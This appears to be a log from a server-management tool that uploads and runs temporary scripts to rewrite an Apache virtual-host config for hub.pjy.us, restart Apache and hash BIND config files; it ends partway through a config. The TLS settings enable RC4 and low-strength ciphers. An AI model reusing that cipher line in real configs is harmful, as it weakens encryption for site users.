BASENAME=pjy_hub_us.conf
TARGET=/etc/apache2/sites-enabled/pjy_hub_us.conf
DOCROOT=
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	hub.pjy.us
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/pjy_hub
    <Directory /var/www/pjy_hub>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/hub_access.log combined
    ErrorLog	/var/log/apache2/pjy/hub_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	hub.pjy.us
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb.crt
    DocumentRoot	/var/www/pjy_hub
    <Directory /var/www/pjy_hub>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/hub_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/hub_secure_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/pjy_hub_us.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/pjy_hub_us.conf)= /etc/apache2//etc/apache2/sites-enabled/pjy_hub_us.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/pjy_hub_us.conf= 1'
fi


2026-03-31 11:31:18: 

chmod 755 /tmp/pkp779427; /tmp/pkp779427; rm /tmp/pkp779427

2026-03-31 11:31:18: 


/tmp/pkp779427: line 58: [: !=: unary operator expected




STDERR:
/tmp/pkp779427: line 58: [: !=: unary operator expected


2026-03-31 11:31:18: 

PUT: /tmp/pkp626403

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-03-31 11:31:18: 

chmod 755 /tmp/pkp626403; /tmp/pkp626403; rm /tmp/pkp626403

2026-03-31 11:31:19: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-03-31 11:31:19: Establishing a connection
2026-03-31 11:31:19: 

PUT: /tmp/pkp771102

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-03-31 11:31:19: 

runuser -l bind -s /bin/bash -c '/tmp/pkp771102; rm /tmp/pkp771102'

2026-03-31 11:31:19: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 5c27bd546fb502ce3d4635f83c2fb039
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-03-31 11:31:27: Establishing a connection
2026-03-31 11:31:27: 

PUT: /tmp/pkp106883

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/pjy_hub_us.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-03-31 11:31:27: 

chmod 755 /tmp/pkp106883; /tmp/pkp106883; rm /tmp/pkp106883

2026-03-31 11:31:27: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/pjy_hub_us.conf 34

<VirtualHost *:80>
    ServerName	hub.pjy.us
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/pjy_hub
    <Directory /var/www/pjy_hub>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/hub_access.log combined
    ErrorLog	/var/log/apache2/pjy/hub_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	hub.pjy.us
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb.crt
    DocumentRoot	/var/www/pjy_hub
    <Directory /var/www/pjy_hub>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/hub_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/hub_secure_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>






2026-03-31 11:31:27: 

PUT: /tmp/pkp470366

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=pjy_hub_us.conf
TARGET=/etc/apache2/sites-enabled/pjy_hub_us.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	hub.pjy.us
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/pjy_hub
    <Directory /var/www/pjy_hub>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/hub_access.log combined
    ErrorLog	/var/log/apache2/pjy/hub_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	hub.pjy.us
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb.crt
    DocumentRoot	/var/www/pjy_hub
    <Directory /var/www/pjy_hub>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/hub_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/hub_secure_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p /var/log/apache2/pjy
	mkdir -p $DOCROOT/$PUBLIC
	chown -R phil:phil $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/pjy_hub_us.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/pjy_hub_us.conf)= /etc/apache2//etc/apache2/sites-enabled/pjy_hub_us.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/pjy_hub_us.conf= 1'
fi


2026-03-31 11:31:27: 

chmod 755 /tmp/pkp470366; /tmp/pkp470366; rm /tmp/pkp470366

2026-03-31 11:31:27: 




2026-03-31 11:31:27: 

PUT: /tmp/pkp235307

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/pjy_hub_us.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-03-31 11:31:27: 

chmod 755 /tmp/pkp235307; /tmp/pkp235307; rm /tmp/pkp235307

2026-03-31 11:31:28: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/pjy_hub_us.conf 34

<VirtualHost *:80>
    ServerName	hub.pjy.us
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/pjy_hub
    <Directory /var/www/pjy_hub>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/hub_access.log combined
    ErrorLog	/var/log/apache2/pjy/hub_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	hub.pjy.us
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
